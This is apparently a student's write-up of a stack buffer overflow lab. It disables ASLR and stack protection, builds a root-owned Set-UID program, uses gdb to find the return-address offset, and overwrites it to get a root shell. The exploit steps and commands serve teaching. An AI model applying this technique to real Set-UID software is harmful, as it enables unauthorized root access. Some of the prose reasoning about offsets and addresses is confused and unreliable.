

Task 1

```
Sruthi_Chavali@VM: ~  
Sruthi_Chavali@VM:~$ sudo sysctl -w kernel.randomize_va_space=0  
kernel.randomize_va_space = 0  
Sruthi_Chavali@VM:~$
```

Ubuntu uses address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult so we disable this feature with the command above.

```
Sruthi_Chavali@VM:~/Downloads$ ls  
call_shellcode.c exploit.c exploit.py stack.c  
Sruthi_Chavali@VM:~/Downloads$ gcc -fno-stack-protector stack.c  
Sruthi_Chavali@VM:~/Downloads$
```

The compiler uses StackGuard to prevent buffer overflows. So we have to disable this protection during the compilation using the `-fno-stack-protector` option.

```
Sruthi_Chavali@VM:~/Downloads$ gcc -fno-stack-protector stack.c  
Sruthi_Chavali@VM:~/Downloads$ sudo ln -sf /bin/zsh /bin/sh  
Sruthi_Chavali@VM:~/Downloads$
```

The `/bin/sh` symbolic link points to the `/bin/dash` shell. Since `stack.c` is a Set-UID program, and our attack relies on running `/bin/sh`, the countermeasure in `/bin/dash` makes the attack difficult. So we will link `/bin/sh` to another shell.

```
Sruthi_Chavali@VM:~/Downloads$ gcc -z execstack -o call_shellcode call_shellcode.c  
call_shellcode.c: In function 'main':  
call_shellcode.c:24:4: warning: implicit declaration of function 'strcpy' [-Wimplicit-function-declaration]  
   24 |     strcpy(buf, code);  
      |     ~~~~~  
call_shellcode.c:24:4: warning: incompatible implicit declaration of built-in function 'strcpy'  
call_shellcode.c:6:1: note: include '<string.h>' or provide a declaration of 'strcpy'  
   5 | #include <stdio.h>  
+++ |+#include <string.h>  
   6 |  
Sruthi_Chavali@VM:~/Downloads$ vi call_shellcode.c  
Sruthi_Chavali@VM:~/Downloads$ gcc -z execstack -o call_shellcode call_shellcode.c  
Sruthi_Chavali@VM:~/Downloads$
```

When compiling `call_shellcode.c`, a number of errors show up. The correction is to simply add `#include <string.h>`.

```
#ifndef BUF_SIZE  
#define BUF_SIZE 200  
#endif  
  
int bof(char *str)  
{  
    char buffer[BUF_SIZE];  
  
    /* The following statement has a buffer overflow problem */  
    strcpy(buffer, str);  
  
    return 1;  
}  
"stack.c" 40L, 978C  
13,20
```

I changed the buffer size to 200 as per the instructions.

```

Sruthi_Chavali@VM: ~/Downloads$ gcc -DBUF_SIZE=200 -o stack -z execstack -fno-stack-protector stack.c
Sruthi_Chavali@VM: ~/Downloads$ sudo chown root stack
Sruthi_Chavali@VM: ~/Downloads$ sudo chmod 4755 stack

```

After the compilation, we need to make the program a root-owned Set-UID program. We do this by first changing the ownership of the program to root and then change the permission to 4755 to enable the Set-UID bit.

Task 2

For task 2, I realized that I did the entire first bit on a 64 bit and all the gdb addresses were showing up weirdly so I made the switch to a 16.04 32 bit. I did the above tasks but did not take pictures of them as I had already done them.

```

[03/12/21]seed@SruthiChavali:~/B0$ gdb --quiet stack
Reading symbols from stack...(no debugging symbols found)...done.
(gdb) disassemble bof
Dump of assembler code for function bof:
0x080484bb <+0>:    push    %ebp
0x080484bc <+1>:    mov     %esp,%ebp
0x080484be <+3>:    sub     $0xd8,%esp
0x080484c4 <+9>:    sub     $0x8,%esp
0x080484c7 <+12>:   pushl   0x8(%ebp)
0x080484ca <+15>:   lea     -0xd0(%ebp),%eax
0x080484d0 <+21>:   push    %eax
0x080484d1 <+22>:   call    0x8048370 <strcpy@plt>
0x080484d6 <+27>:   add     $0x10,%esp
0x080484d9 <+30>:   mov     $0x1,%eax
0x080484de <+35>:   leave   $0x1,%eax
0x080484df <+36>:   ret
End of assembler dump.
(gdb)

```

The key places to look for here are `-0xd0` and `<strcpy@plt>`. The `-0xd0` in decimal is `-208`. So this indicates that the buffer value should start at `208+4 = 212`. Secondly, since the buffer is in the `strcpy` line in the `stack.c`, a breakpoint should be created there.

```

0x080484c4 <+9>:    sub     $0x8,%esp
0x080484c7 <+12>:   pushl   0x8(%ebp)
0x080484ca <+15>:   lea     -0xd0(%ebp),%eax
0x080484d0 <+21>:   push    %eax
0x080484d1 <+22>:   call    0x8048370 <strcpy@plt>
0x080484d6 <+27>:   add     $0x10,%esp
0x080484d9 <+30>:   mov     $0x1,%eax
0x080484de <+35>:   leave   $0x1,%eax
0x080484df <+36>:   ret
End of assembler dump.
(gdb) b *0x080484d1
Breakpoint 1 at 0x80484d1
(gdb) r
Starting program: /home/seed/B0/stack
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x080484d1 in bof ()
(gdb) i r $ebp
ebp                0xbfffeb48      0xbfffeb48
(gdb)

```

Once a breakpoint is created, the `ebp` is `0xbfffeb48`. To make sure this is correct, I did this same procedure with a different breakpoint and received the same `ebp`.

```

/* You need to fill the buffer with appropriate
ts here///Sruthi Chavali */
*(buffer+212) = 0x89;
*(buffer+213) = 0xec;
*(buffer+214) = 0xff;
*(buffer+215) = 0xbf;
int final = sizeof(buffer) - sizeof(shellcode);
int i;
for(i = 0; i < sizeof(shellcode);i++)
33,1 6

```

This is the code that I put in exploit.c. The decimal numbers are 208+4 bytes which is 212. So the address to the right of those numbers are the ebp + 141. I choose a number which is far greater than the ebp.

```

it.c
[03/12/21]seed@SruthiChavali:~/B0$ ./exploit
[03/12/21]seed@SruthiChavali:~/B0$ ./stack
Segmentation fault
[03/12/21]seed@SruthiChavali:~/B0$

```

I switched the numbers to 208,209,210,211 and got a segmentation fault. So, I knew that that value was the correct value to add 4 bytes too.

```

[03/12/21]seed@SruthiChavali:~/B0$ ./stack
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24
5(-1-jdew),113(-1-jdew),128(-1-jdew)

```